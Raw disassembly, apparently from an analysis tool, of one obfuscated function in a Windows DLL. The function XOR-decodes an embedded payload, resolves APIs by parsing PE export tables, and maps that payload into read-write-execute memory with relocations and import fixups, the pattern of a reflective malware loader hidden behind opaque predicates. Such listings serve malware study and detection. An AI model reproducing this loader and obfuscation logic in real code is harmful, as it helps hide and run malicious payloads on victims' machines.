Function at 0x180001060
Capabilities:
Encode data using xor
Resolve function by parsing pe exports

Disassembly:
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbp
push rbx
sub rsp, 0x68
mov eax, dword [0x180020a6c]
mov ecx, dword [0x180020a70]
lea edx, [rax - 1]
imul edx, eax
and edx, 1
cmp ecx, 0xa
jl 0x180001092
test edx, edx
je 0x180001092
nop
jmp 0x180001090
cmp ecx, 0xa
jl 0x18000109f
test edx, edx
jne 0x180001120
mov edi, 4
lea rbp, section..data
lea rbx, [rsp + 0x54]
sub rdi, 1
jb 0x180001122
mov dl, byte [rbp]
nop dword [rax]
mov byte [rbx], dl
mov eax, dword [0x180020a6c]
mov ecx, dword [0x180020a70]
cmp ecx, 0xa
jl 0x180001100
lea esi, [rax - 1]
imul esi, eax
and esi, 1
je 0x180001100
mov byte [rbx], dl
cmp dword [0x180020a70], 0xa
jl 0x1800010c0
mov eax, dword [0x180020a6c]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
jne 0x1800010de
jmp 0x1800010c0
add rbp, 1
add rbx, 1
cmp ecx, 0xa
jl 0x1800010b0
lea edx, [rax - 1]
imul edx, eax
and edx, 1
je 0x1800010b0
nop dword [rax + rax]
jmp 0x180001120
mov edx, dword [0x180020a74]
lea ebp, [rdx - 1]
imul ebp, edx
test bpl, 1
sete bl
cmp dword [0x180020a78], 0xa
setl r8b
or r8b, bl
cmp r8b, 1
jne 0x180001190
mov r13d, dword [rsp + 0x54]
xor ebx, ebx
lea r15, section..data
nop word [rax + rax]
cmp r13, rbx
je 0x180001192
mov ebp, ebx
and ebp, 0x3ff
movzx edx, byte [rbp + r15 + 4]
xor dl, byte [rbx + r15 + 0x404]
xor dl, 0xc
mov byte [rbx + r15 + 0x404], dl
add rbx, 1
test r8b, r8b
jne 0x180001160
nop
jmp 0x180001190
lea r8, [r15 + r13]
add r8, 0x404
cmp ecx, 0xa
jl 0x1800011b1
lea edx, [rax - 1]
imul edx, eax
and edx, 1
jne 0x180001320
cmp ecx, 0xa
jl 0x1800011c5
lea edx, [rax - 1]
imul edx, eax
and edx, 1
jne 0x180001330
mov ebp, 4
lea rbx, [rsp + 0x50]
mov rdi, r8
nop word cs:[rax + rax]
nop dword [rax]
sub rbp, 1
jb 0x18000124d
mov dl, byte [rdi]
nop dword [rax + rax]
mov byte [rbx], dl
mov eax, dword [0x180020a6c]
mov ecx, dword [0x180020a70]
cmp ecx, 0xa
jl 0x180001230
lea esi, [rax - 1]
imul esi, eax
and esi, 1
je 0x180001230
mov byte [rbx], dl
cmp dword [0x180020a70], 0xa
jl 0x1800011f0
mov eax, dword [0x180020a6c]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
jne 0x18000120e
jmp 0x1800011f0
add rdi, 1
add rbx, 1
cmp ecx, 0xa
jl 0x1800011e0
lea edx, [rax - 1]
imul edx, eax
and edx, 1
je 0x1800011e0
jmp 0x180001330
cmp dword [0x180020a78], 0xa
jl 0x180001342
mov edx, dword [0x180020a74]
lea ebp, [rdx - 1]
imul ebp, edx
and ebp, 1
je 0x180001342
lea edx, [rax - 1]
imul edx, eax
and edx, 1
cmp ecx, 0xa
jl 0x180001285
test edx, edx
jne 0x180001340
cmp ecx, 0xa
jl 0x180001292
test edx, edx
jne 0x180001310
mov ebp, 4
lea rbx, [rsp + 0x50]
mov rdi, r8
sub rbp, 1
jb 0x18000119d
mov dl, byte [rdi]
nop dword [rax + rax]
mov byte [rbx], dl
mov eax, dword [0x180020a6c]
mov ecx, dword [0x180020a70]
cmp ecx, 0xa
jl 0x1800012ec
lea esi, [rax - 1]
imul esi, eax
and esi, 1
je 0x1800012ec
mov byte [rbx], dl
cmp dword [0x180020a70], 0xa
jl 0x1800012b0
mov eax, dword [0x180020a6c]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
jne 0x1800012ce
jmp 0x1800012b0
add rdi, 1
add rbx, 1
cmp ecx, 0xa
jl 0x18000129f
lea edx, [rax - 1]
imul edx, eax
and edx, 1
je 0x18000129f
nop word cs:[rax + rax]
nop
jmp 0x180001310
jmp 0x180001320
jmp 0x180001330
jmp 0x180001340
add r8, 4
mov ebp, dword [rsp + 0x50]
test rbp, rbp
mov qword [rsp + 0x48], r8
je 0x1800014ae
xor eax, eax
cmp ebp, 0x20
jb 0x180001489
lea rdx, [rbp - 1]
cmp rdx, 0x400
jae 0x180001489
lea rcx, [r15 + r13]
add rcx, 0x408
lea rdx, [r15 + rbp]
add rdx, 4
cmp rcx, rdx
jae 0x1800013af
mov rcx, rbp
add rcx, r13
add rcx, r15
add rcx, 0x408
lea rdx, str.GXItGexcaIrAhPcypnsBnvLDsqcPsjVGlDCRfzwkDKOUrrxqunZgbpfcAhBjUZLPRjXGRjsAeMLenACKGXnoKDvJQTfSkRkFyTaxxTmDsWTQyotfPfvtTkYwGDmTyOrJKfESXOdhQJbhRlXEKQvgTHusuCIrPRIhicOLEGmdUmnDAtkVsSWKVwTHIUMixeeMejPYbIgUIARwcRfVKqpGDBYiytfgjDbynIGOJJcOpmibPhzfUeGqIbmSbjdxXWpvDexnVZnbwWXyUvKjCMiCxuJteiEnfOmOZEiwKQbfWQaStOctXKTEVmnZXvXASiDuBnojEayCguxCeSjIufxZtftdBUADhPBqrSgpQVpHYAbuhPRFpToldetksLVMqpOjduIYwsCLyjjgdOgvHHXjYQfDXuZibtUmaMEnVlOQOlGqHWjxzvkGvTPZwCmtnIYxaxQgZsxaalLzCaaKytelEWjvDJWQpVAUztUvlJCIYadbmJFqRaMZxevZiBXRPpalyffsbeXjYmVJAJwcqcGssCiXcdxgLeTQBBzfGaahwMnGAoVSraQjvaXHkePrSaZirqMigubKUlpWIJTnQieIGhsjHDZwRrjUFqnXsjnQSBWAOlEYpcYWQiSIAsoReRMOiMHMerxUatMMYGuRtxHwdpsxZyGoURwJVBlPqslDdKBRhLyqMzDFSqOyqnKasEVmRtZGYOkIrKPvgsZBIYRKzxWQrqqbwZreXLiMKCzdktnYxqdPzaMvCZImaZDQTrpCWSIAeMdpGvQWeyOwhwTnBKkEQUIlmzsfXMHiXwwFjTDCOJGcEXTmIXLuqWGyyRzuQIuUyhBqwzrcETHPwtKidzWqKLeJqnKHtHxIkYktEQiZXtMapXBOHKUiKLvWrJtOEyDyXAqWXGMQDGQhXcGJKXKqggkBXztoymjFVsilSbAUDeipITEwPdswRRkstHbtFmtPCJYHmrDxPigmsvfVRyqIReVdIfDTjeCemEwMehPiYqvraTiUCbcVisZllqO
cmp rcx, rdx
jbe 0x1800013af
xor eax, eax
jmp 0x180001489
mov eax, ebp
and eax, 0xffffffe0
lea rbx, [rax - 0x20]
mov rdx, rbx
shr rdx, 5
add rdx, 1
mov ecx, edx
and ecx, 1
test rbx, rbx
je 0x180001447
lea rdi, [r15 + r13]
add rdi, 0x438
mov rbx, rcx
sub rbx, rdx
xor esi, esi
mov edx, esi
and edx, 0x3c0
movups xmm0, xmmword [rdx + r15 + 4]
movups xmm1, xmmword [rdx + r15 + 0x14]
movups xmm2, xmmword [rdi + rsi - 0x30]
xorps xmm2, xmm0
movups xmm0, xmmword [rdi + rsi - 0x20]
xorps xmm0, xmm1
movups xmm1, xmmword [rdi + rsi - 0x10]
movups xmm3, xmmword [rdi + rsi]
movups xmmword [rdi + rsi - 0x30], xmm2
movups xmmword [rdi + rsi - 0x20], xmm0
lea edx, [rsi + 0x20]
and edx, 0x3e0
movups xmm0, xmmword [rdx + r15 + 4]
xorps xmm0, xmm1
movups xmm1, xmmword [rdx + r15 + 0x14]
xorps xmm1, xmm3
movups xmmword [rdi + rsi - 0x10], xmm0
movups xmmword [rdi + rsi], xmm1
add rsi, 0x40
add rbx, 2
jne 0x1800013e0
jmp 0x180001449
xor esi, esi
test rcx, rcx
je 0x18000147f
mov edx, esi
and edx, 0x3e0
movups xmm0, xmmword [rdx + r15 + 4]
movups xmm1, xmmword [rdx + r15 + 0x14]
mov rcx, qword [rsp + 0x48]
movups xmm2, xmmword [rcx + rsi]
xorps xmm2, xmm0
movups xmm0, xmmword [rcx + rsi + 0x10]
xorps xmm0, xmm1
movups xmmword [rcx + rsi], xmm2
movups xmmword [rcx + rsi + 0x10], xmm0
cmp rax, rbp
mov r8, qword [rsp + 0x48]
je 0x1800014ae
lea rdx, [r15 + r13]
add rdx, 0x408
mov ecx, eax
and ecx, 0x3ff
movzx ecx, byte [rcx + r15 + 4]
xor byte [rdx + rax], cl
add rax, 1
cmp rax, rbp
jb 0x180001494
cmp dword [0x180020a7c], 0xa
jl 0x1800014d2
mov eax, dword [0x180020a80]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
je 0x1800014d2
nop dword [rax + rax]
jmp 0x1800014d0
add r13, 0x408
movsxd rax, dword [0x180004440]
add rax, r15
add rax, 0x404
mov qword [rsp + 0x38], rax
mov rdi, r8
cmp byte [rdi], 0
lea rdi, [rdi + 1]
jne 0x1800014f1
mov rsi, rdi
cmp byte [rsi], 0
lea rsi, [rsi + 1]
jne 0x1800014fd
mov rbp, rsi
cmp byte [rbp], 0
lea rbp, [rbp + 1]
jne 0x180001509
mov r14, rbp
cmp byte [r14], 0
lea r14, [r14 + 1]
jne 0x180001516
mov rbx, r14
cmp byte [rbx], 0
lea rbx, [rbx + 1]
jne 0x180001523
mov r12, rbx
cmp byte [r12], 0
lea r12, [r12 + 1]
jne 0x18000152f
mov rcx, rdi
call fcn.180002260
mov r9, rax
cmp dword [0x180020a84], 0xa
jl 0x180001564
mov eax, dword [0x180020a88]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
jne 0x180001a9c
movsxd rax, dword [r9 + 0x3c]
mov ecx, dword [r9 + rax + 0x88]
mov r8d, dword [r9 + rcx + 0x1c]
cmp dword [0x180020a8c], 0xa
jl 0x180001593
mov eax, dword [0x180020a90]
lea edx, [rax - 1]
imul edx, eax
and edx, 1
jne 0x180001a9e
mov qword [rsp + 0x60], rbp
mov qword [rsp + 0x40], rdi
add r8, r9
mov edi, dword [r9 + rcx + 0x20]
mov r10d, dword [r9 + rcx + 0x24]
add rdi, r9
add r10, r9
mov ebp, dword [rdi]
add rbp, r9
mov rdx, rsi
nop dword [rax + rax]
movzx ecx, byte [rdx]
movzx eax, byte [rbp]
test cl, cl
je 0x1800015d7
add rdx, 1
add rbp, 1
cmp cl, al
je 0x1800015c0
cmp cl, al
je 0x1800015e5
add rdi, 4
add r10, 2
jmp 0x1800015b0
movzx eax, word [r10]
mov eax, dword [r8 + rax*4]
add r9, rax
mov rcx, rbx
call r9
mov r10, rax
cmp dword [0x180020a84], 0xa
jl 0x180001617
mov eax, dword [0x180020a88]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
jne 0x180001aa0
movsxd rax, dword [r10 + 0x3c]
mov ecx, dword [r10 + rax + 0x88]
mov r8d, dword [r10 + rcx + 0x1c]
cmp dword [0x180020a8c], 0xa
jl 0x180001646
mov eax, dword [0x180020a90]
lea edx, [rax - 1]
imul edx, eax
and edx, 1
jne 0x180001aa2
add r8, r10
mov edx, dword [r10 + rcx + 0x20]
mov edi, dword [r10 + rcx + 0x24]
add rdx, r10
add rdi, r10
mov ebp, dword [rdx]
add rbp, r10
mov rax, r14
nop word cs:[rax + rax]
nop dword [rax + rax]
movzx ebx, byte [rax]
movzx ecx, byte [rbp]
test bl, bl
je 0x180001687
add rax, 1
add rbp, 1
cmp bl, cl
je 0x180001670
cmp bl, cl
je 0x180001695
add rdx, 4
add rdi, 2
jmp 0x180001659
movzx eax, word [rdi]
mov eax, dword [r8 + rax*4]
add r10, rax
mov qword [rsp + 0x28], 0x1388
mov qword [rsp + 0x20], 0
mov r9d, 0x10
xor ecx, ecx
mov rdx, r12
mov r8, r12
call r10
mov rcx, qword [rsp + 0x40]
call fcn.180002260
mov r10, rax
cmp dword [0x180020a84], 0xa
jl 0x1800016ed
mov eax, dword [0x180020a88]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
jne 0x180001aa4
movsxd rax, dword [r10 + 0x3c]
mov ecx, dword [r10 + rax + 0x88]
mov r8d, dword [r10 + rcx + 0x1c]
cmp dword [0x180020a8c], 0xa
jl 0x18000171c
mov eax, dword [0x180020a90]
lea edx, [rax - 1]
imul edx, eax
and edx, 1
jne 0x180001aa6
add r8, r10
mov edx, dword [r10 + rcx + 0x20]
mov ecx, dword [r10 + rcx + 0x24]
add rdx, r10
add rcx, r10
mov ebp, dword [rdx]
add rbp, r10
xor edi, edi
nop word cs:[rax + rax]
lea rax, [rdi + r13]
movzx eax, byte [r15 + rax]
movzx ebx, byte [rbp + rdi]
test al, al
je 0x18000175a
add rdi, 1
cmp al, bl
je 0x180001740
cmp al, bl
je 0x180001768
add rdx, 4
add rcx, 2
jmp 0x18000172f
movzx eax, word [rcx]
mov eax, dword [r8 + rax*4]
add r10, rax
mov rax, qword [rsp + 0x38]
mov edx, dword [rax + 0x50]
mov r8d, 0x3000
mov r9d, 0x40
xor ecx, ecx
call r10
mov r12, rax
mov eax, dword [0x180020a74]
mov ebx, dword [0x180020a78]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
cmp ebx, 0xa
jl 0x180001ab6
test ecx, ecx
je 0x180001ab6
movsxd rbx, dword [0x180004440]
cmp dword [0x180020a7c], 0xa
mov rdx, qword [rsp + 0x48]
mov rbp, rdx
jl 0x1800017e4
mov eax, dword [0x180020a80]
lea ecx, [rax - 1]
imul ecx, eax
mov rbp, rdx
and ecx, 1
jne 0x180001aa8
cmp byte [rbp], 0
lea rbp, [rbp + 1]
jne 0x1800017e4
mov r14, rbp
cmp byte [r14], 0
lea r14, [r14 + 1]
jne 0x1800017f1
mov r12, r14
cmp byte [r12], 0
lea r12, [r12 + 1]
jne 0x1800017fe
cmp byte [r12], 0
lea r12, [r12 + 1]
jne 0x18000180a
mov rdi, r12
cmp byte [rdi], 0
lea rdi, [rdi + 1]
jne 0x180001819
mov rsi, rdi
cmp byte [rsi], 0
lea rsi, [rsi + 1]
jne 0x180001825
mov rcx, rbp
call fcn.180002260
mov r9, rax
cmp dword [0x180020a84], 0xa
jl 0x180001857
mov eax, dword [0x180020a88]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
jne 0x180001aaa
mov qword [rsp + 0x38], rbp
mov qword [rsp + 0x40], rbx
movsxd rax, dword [r9 + 0x3c]
mov eax, dword [r9 + rax + 0x88]
mov r8d, dword [r9 + rax + 0x1c]
cmp dword [0x180020a8c], 0xa
jl 0x180001890
mov ecx, dword [0x180020a90]
lea edx, [rcx - 1]
imul edx, ecx
and edx, 1
jne 0x180001aac
add r8, r9
mov ebp, dword [r9 + rax + 0x20]
mov r10d, dword [r9 + rax + 0x24]
add rbp, r9
add r10, r9
mov eax, dword [rbp]
add rax, r9
mov rdx, r14
nop dword [rax]
movzx ecx, byte [rdx]
movzx ebx, byte [rax]
test cl, cl
je 0x1800018c6
add rdx, 1
add rax, 1
cmp cl, bl
je 0x1800018b0
cmp cl, bl
je 0x1800018d4
add rbp, 4
add r10, 2
jmp 0x1800018a3
movzx eax, word [r10]
mov eax, dword [r8 + rax*4]
add r9, rax
mov rcx, rdi
call r9
mov r10, rax
cmp dword [0x180020a84], 0xa
jl 0x180001906
mov eax, dword [0x180020a88]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
jne 0x180001aae
movsxd rax, dword [r10 + 0x3c]
mov ecx, dword [r10 + rax + 0x88]
mov r8d, dword [r10 + rcx + 0x1c]
cmp dword [0x180020a8c], 0xa
jl 0x180001935
mov eax, dword [0x180020a90]
lea edx, [rax - 1]
imul edx, eax
and edx, 1
jne 0x180001ab0
add r8, r10
mov edx, dword [r10 + rcx + 0x20]
mov edi, dword [r10 + rcx + 0x24]
add rdx, r10
add rdi, r10
mov ebp, dword [rdx]
add rbp, r10
mov rbx, r12
movzx eax, byte [rbx]
movzx ecx, byte [rbp]
test al, al
je 0x180001967
add rbx, 1
add rbp, 1
cmp al, cl
je 0x180001950
cmp al, cl
je 0x180001975
add rdx, 4
add rdi, 2
jmp 0x180001948
movzx eax, word [rdi]
mov eax, dword [r8 + rax*4]
add r10, rax
mov qword [rsp + 0x28], 0x1388
mov qword [rsp + 0x20], 0
mov r9d, 0x10
xor ecx, ecx
mov rdx, rsi
mov r8, rsi
call r10
mov rcx, qword [rsp + 0x38]
call fcn.180002260
mov r10, rax
cmp dword [0x180020a84], 0xa
jl 0x1800019cd
mov eax, dword [0x180020a88]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
jne 0x180001ab2
movsxd rax, dword [r10 + 0x3c]
mov ecx, dword [r10 + rax + 0x88]
mov r8d, dword [r10 + rcx + 0x1c]
cmp dword [0x180020a8c], 0xa
jl 0x1800019fc
mov eax, dword [0x180020a90]
lea edx, [rax - 1]
imul edx, eax
and edx, 1
jne 0x180001ab4
add r8, r10
mov edx, dword [r10 + rcx + 0x20]
mov ecx, dword [r10 + rcx + 0x24]
add rdx, r10
add rcx, r10
mov ebp, dword [rdx]
add rbp, r10
xor edi, edi
nop word cs:[rax + rax]
lea rax, [rdi + r13]
movzx eax, byte [r15 + rax]
movzx ebx, byte [rbp + rdi]
test al, al
je 0x180001a3a
add rdi, 1
cmp al, bl
je 0x180001a20
cmp al, bl
je 0x180001a48
add rdx, 4
add rcx, 2
jmp 0x180001a0f
movzx eax, word [rcx]
mov eax, dword [r8 + rax*4]
add r10, rax
mov rax, qword [rsp + 0x40]
mov edx, dword [rax + r15 + 0x454]
mov r8d, 0x3000
mov r9d, 0x40
xor ecx, ecx
call r10
cmp dword [0x180020a7c], 0xa
mov r8, qword [rsp + 0x48]
jl 0x1800014d9
mov eax, dword [0x180020a80]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
je 0x1800014d9
jmp 0x1800014d0
jmp 0x180001a9c
jmp 0x180001a9e
jmp 0x180001aa0
jmp 0x180001aa2
jmp 0x180001aa4
jmp 0x180001aa6
jmp 0x180001aa8
jmp 0x180001aaa
jmp 0x180001aac
jmp 0x180001aae
jmp 0x180001ab0
jmp 0x180001ab2
jmp 0x180001ab4
cmp ebx, 0xa
jl 0x180001ac1
test ecx, ecx
je 0x180001ac1
jmp 0x180001abf
mov rcx, qword [rsp + 0x38]
lea r8, [rcx + 0x108]
xor r9d, r9d
mov rcx, qword [rsp + 0x38]
movzx ecx, word [rcx + 6]
cmp r9, rcx
jae 0x180001bd4
mov edx, dword [0x180020a6c]
mov ecx, dword [0x180020a70]
lea eax, [rdx - 1]
imul eax, edx
and eax, 1
cmp ecx, 0xa
jl 0x180001b04
test eax, eax
jne 0x180001bd0
cmp ecx, 0xa
jl 0x180001b11
test eax, eax
jne 0x180001bce
lea rcx, [r9 + r9*4]
mov eax, dword [r8 + rcx*8 + 0x14]
add rax, r15
add rax, 0x404
mov ebx, dword [r8 + rcx*8 + 0xc]
mov ebp, dword [r8 + rcx*8 + 0x10]
add rbx, r12
sub rbp, 1
jb 0x180001b96
mov cl, byte [rax]
mov byte [rbx], cl
mov ecx, dword [0x180020a6c]
mov edx, dword [0x180020a70]
cmp edx, 0xa
jl 0x180001b7c
lea edi, [rcx - 1]
imul edi, ecx
and edi, 1
je 0x180001b7c
movzx ecx, byte [rax]
mov byte [rbx], cl
movzx ecx, byte [rax]
mov byte [rbx], cl
cmp dword [0x180020a70], 0xa
jl 0x180001b36
mov ecx, dword [0x180020a6c]
lea edx, [rcx - 1]
imul edx, ecx
and edx, 1
jne 0x180001b56
jmp 0x180001b36
add rax, 1
add rbx, 1
cmp edx, 0xa
jl 0x180001b30
lea edx, [rcx - 1]
imul edx, ecx
and edx, 1
je 0x180001b30
jmp 0x180001bce
mov eax, dword [0x180020a74]
mov ebx, dword [0x180020a78]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
cmp ebx, 0xa
jl 0x180001bb4
test ecx, ecx
jne 0x180001bd2
add r9, 1
cmp ebx, 0xa
jl 0x180001ad0
test ecx, ecx
je 0x180001ad0
jmp 0x180001abf
jmp 0x180001bce
jmp 0x180001bd0
jmp 0x180001bd2
mov rdx, qword [rsp + 0x38]
mov ecx, dword [rdx + 0xb0]
add rcx, r12
mov rdx, qword [rdx + 0x30]
mov rbp, r12
sub rbp, rdx
movabs r8, 0x1fffffff8
jmp 0x180001bfe
mov edx, dword [rcx + 4]
add rcx, rdx
lea r9d, [rax - 1]
imul r9d, eax
test r9b, 1
sete r10b
cmp ebx, 0xa
setl dl
or dl, r10b
cmp dl, 1
jne 0x180001da6
test dl, dl
je 0x180001da6
cmp dword [rcx], 0
je 0x180001dd3
mov edx, dword [rcx + 4]
cmp rdx, 8
jb 0x180001daf
cmp ebx, 0xa
jl 0x180001c4d
and r9d, 1
jne 0x180001dcb
add rdx, r8
shr rdx, 1
mov r9d, edx
xor r10d, r10d
cmp r10, r9
je 0x180001daf
movzx edi, word [rcx + r10*2 + 8]
mov edx, edi
shr edx, 0xc
mov r11d, edi
and r11d, 0xfff
cmp edi, 0xa000
jae 0x180001d2e
cmp edx, 3
jne 0x180001d7d
cmp ebx, 0xa
jl 0x180001ca0
lea edx, [rax - 1]
imul edx, eax
and edx, 1
jne 0x180001dcf
mov eax, dword [rcx]
lea rax, [r12 + rax*4]
add dword [rax + r11*4], ebp
mov eax, dword [0x180020a74]
mov ebx, dword [0x180020a78]
cmp ebx, 0xa
jl 0x180001d7d
lea edx, [rax - 1]
imul edx, eax
and edx, 1
je 0x180001d7d
lea rdx, [r12 + r11*4]
cmp ebx, 0xa
jl 0x180001cec
lea ebx, [rax - 1]
imul ebx, eax
and ebx, 1
je 0x180001cec
jmp 0x180001dc9
mov eax, dword [rcx]
add dword [rdx + rax*4], ebp
mov eax, dword [rcx]
add dword [rdx + rax*4], ebp
cmp dword [0x180020a78], 0xa
jl 0x180001d0b
mov eax, dword [0x180020a74]
lea ebx, [rax - 1]
imul ebx, eax
and ebx, 1
jne 0x180001ce7
mov eax, dword [rcx]
add dword [rdx + rax*4], ebp
mov eax, dword [0x180020a74]
mov ebx, dword [0x180020a78]
cmp ebx, 0xa
jl 0x180001d7d
lea edi, [rax - 1]
imul edi, eax
and edi, 1
jne 0x180001cd2
jmp 0x180001d7d
cmp edx, 0xa
jne 0x180001d7d
cmp ebx, 0xa
jl 0x180001d47
lea edx, [rax - 1]
imul edx, eax
and edx, 1
jne 0x180001dd1
mov eax, dword [rcx]
mov edx, r11d
add rdx, r12
add qword [rax + rdx], rbp
mov eax, dword [0x180020a74]
mov ebx, dword [0x180020a78]
cmp ebx, 0xa
jl 0x180001d7d
lea edi, [rax - 1]
imul edi, eax
and edi, 1
je 0x180001d7d
mov eax, dword [rcx]
add qword [rdx + rax], rbp
mov eax, dword [rcx]
add qword [rdx + rax], rbp
jmp 0x180001d53
lea edx, [rax - 1]
imul edx, eax
and edx, 1
cmp ebx, 0xa
jl 0x180001d8f
test edx, edx
jne 0x180001dcd
add r10, 1
cmp ebx, 0xa
jl 0x180001c59
test edx, edx
je 0x180001c59
jmp 0x180001dcb
test dl, dl
je 0x180001da6
jmp 0x180001c20
cmp ebx, 0xa
jl 0x180001bf8
lea edx, [rax - 1]
imul edx, eax
and edx, 1
je 0x180001bf8
jmp 0x180001dc7
jmp 0x180001dc9
jmp 0x180001dcb
jmp 0x180001dcd
jmp 0x180001dcf
jmp 0x180001dd1
cmp ebx, 0xa
jl 0x180001de5
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
je 0x180001de5
jmp 0x180001de3
lea rax, [r12 + 2]
mov qword [rsp + 0x48], rax
mov rax, qword [rsp + 0x38]
mov edi, dword [rax + 0x90]
add rdi, r12
mov r14d, dword [rdi + 0xc]
test r14, r14
je 0x18000222a
mov rcx, qword [rsp + 0x40]
call fcn.180002260
mov r9, rax
cmp dword [0x180020a84], 0xa
jl 0x180001e35
mov eax, dword [0x180020a88]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
jne 0x1800021c3
add r14, r12
movsxd rax, dword [r9 + 0x3c]
mov eax, dword [r9 + rax + 0x88]
mov r8d, dword [r9 + rax + 0x1c]
cmp dword [0x180020a8c], 0xa
jl 0x180001e67
mov ecx, dword [0x180020a90]
lea edx, [rcx - 1]
imul edx, ecx
and edx, 1
jne 0x1800021c5
add r8, r9
mov ecx, dword [r9 + rax + 0x20]
mov r10d, dword [r9 + rax + 0x24]
add rcx, r9
add r10, r9
mov ebp, dword [rcx]
add rbp, r9
mov rbx, rsi
movzx eax, byte [rbx]
movzx edx, byte [rbp]
test al, al
je 0x180001e99
add rbx, 1
add rbp, 1
cmp al, dl
je 0x180001e82
cmp al, dl
je 0x180001ea7
add rcx, 4
add r10, 2
jmp 0x180001e7a
movzx eax, word [r10]
mov eax, dword [r8 + rax*4]
add r9, rax
mov rcx, r14
call r9
mov r15, rax
mov ecx, dword [0x180020a74]
mov eax, dword [0x180020a78]
cmp eax, 0xa
jl 0x180001fbe
lea edx, [rcx - 1]
imul edx, ecx
and edx, 1
je 0x180001fbe
mov rcx, qword [rsp + 0x40]
call fcn.180002260
mov r9, rax
cmp dword [0x180020a84], 0xa
jl 0x180001f0a
mov eax, dword [0x180020a88]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
jne 0x1800021c7
movsxd rax, dword [r9 + 0x3c]
mov eax, dword [r9 + rax + 0x88]
mov r8d, dword [r9 + rax + 0x1c]
cmp dword [0x180020a8c], 0xa
jl 0x180001f39
mov ecx, dword [0x180020a90]
lea edx, [rcx - 1]
imul edx, ecx
and edx, 1
jne 0x1800021c9
add r8, r9
mov ecx, dword [r9 + rax + 0x20]
mov r10d, dword [r9 + rax + 0x24]
add rcx, r9
add r10, r9
mov ebp, dword [rcx]
add rbp, r9
mov rbx, rsi
movzx eax, byte [rbx]
movzx edx, byte [rbp]
test al, al
je 0x180001f6b
add rbx, 1
add rbp, 1
cmp al, dl
je 0x180001f54
cmp al, dl
je 0x180001f79
add rcx, 4
add r10, 2
jmp 0x180001f4c
movzx eax, word [r10]
mov eax, dword [r8 + rax*4]
add r9, rax
mov rcx, r14
call r9
mov rcx, qword [rsp + 0x40]
call fcn.180002260
mov r9, rax
cmp dword [0x180020a84], 0xa
jl 0x180001e38
mov eax, dword [0x180020a88]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
je 0x180001e38
jmp 0x1800021c3
mov edx, dword [rdi]
mov r13d, dword [rdi + 0x10]
add rdx, r12
mov qword [rsp + 0x58], rdx
add r13, r12
lea edx, [rcx - 1]
imul edx, ecx
test dl, 1
sete bl
cmp eax, 0xa
setl cl
or cl, bl
test cl, cl
je 0x180001fe3
mov rcx, qword [rsp + 0x58]
mov rcx, qword [rcx]
test rcx, rcx
je 0x1800021a8
mov rax, qword [rsp + 0x48]
add rax, rcx
test rcx, rcx
movzx r14d, cx
cmovns r14, rax
jmp 0x180002025
movzx eax, word [r10]
mov eax, dword [r8 + rax*4]
add r9, rax
mov rcx, r15
mov rdx, r14
call r9
mov qword [r13], rax
mov rcx, qword [rsp + 0x40]
call fcn.180002260
mov r9, rax
cmp dword [0x180020a84], 0xa
jl 0x180002050
mov eax, dword [0x180020a88]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
jne 0x1800021cb
movsxd rax, dword [r9 + 0x3c]
mov ecx, dword [r9 + rax + 0x88]
mov r8d, dword [r9 + rcx + 0x1c]
cmp dword [0x180020a8c], 0xa
jl 0x18000207f
mov eax, dword [0x180020a90]
lea edx, [rax - 1]
imul edx, eax
and edx, 1
jne 0x1800021cd
add r8, r9
mov edx, dword [r9 + rcx + 0x20]
mov r10d, dword [r9 + rcx + 0x24]
add rdx, r9
add r10, r9
mov ebp, dword [rdx]
add rbp, r9
mov rcx, qword [rsp + 0x60]
movzx eax, byte [rcx]
movzx ebx, byte [rbp]
test al, al
je 0x1800020b3
add rcx, 1
add rbp, 1
cmp al, bl
je 0x18000209c
cmp al, bl
je 0x1800020c1
add rdx, 4
add r10, 2
jmp 0x180002092
movzx eax, word [r10]
mov eax, dword [r8 + rax*4]
add r9, rax
mov rcx, r15
mov rdx, r14
call r9
mov qword [r13], rax
mov ecx, dword [0x180020a74]
mov eax, dword [0x180020a78]
cmp eax, 0xa
jl 0x180002199
lea edx, [rcx - 1]
imul edx, ecx
and edx, 1
je 0x180002199
mov rcx, qword [rsp + 0x40]
call fcn.180002260
mov r9, rax
cmp dword [0x180020a84], 0xa
jl 0x180002128
mov eax, dword [0x180020a88]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
jne 0x1800021cf
movsxd rax, dword [r9 + 0x3c]
mov ecx, dword [r9 + rax + 0x88]
mov r8d, dword [r9 + rcx + 0x1c]
cmp dword [0x180020a8c], 0xa
jl 0x180002153
mov eax, dword [0x180020a90]
lea edx, [rax - 1]
imul edx, eax
and edx, 1
jne 0x1800021d1
add r8, r9
mov edx, dword [r9 + rcx + 0x20]
mov r10d, dword [r9 + rcx + 0x24]
add rdx, r9
add r10, r9
mov ebp, dword [rdx]
add rbp, r9
mov rcx, qword [rsp + 0x60]
movzx eax, byte [rcx]
movzx ebx, byte [rbp]
test al, al
je 0x180002187
add rcx, 1
add rbp, 1
cmp al, bl
je 0x180002170
cmp al, bl
je 0x18000200d
add rdx, 4
add r10, 2
jmp 0x180002166
add qword [rsp + 0x58], 8
add r13, 8
jmp 0x180001fcf
add rdi, 0x14
cmp eax, 0xa
jl 0x180001dfd
and edx, 1
je 0x180001dfd
jmp 0x180001de3
jmp 0x1800021c3
jmp 0x1800021c5
jmp 0x1800021c7
jmp 0x1800021c9
jmp 0x1800021cb
jmp 0x1800021cd
jmp 0x1800021cf
jmp 0x1800021d1
mov ecx, dword [0x180020a74]
lea edx, [rcx - 1]
imul edx, ecx
and edx, 1
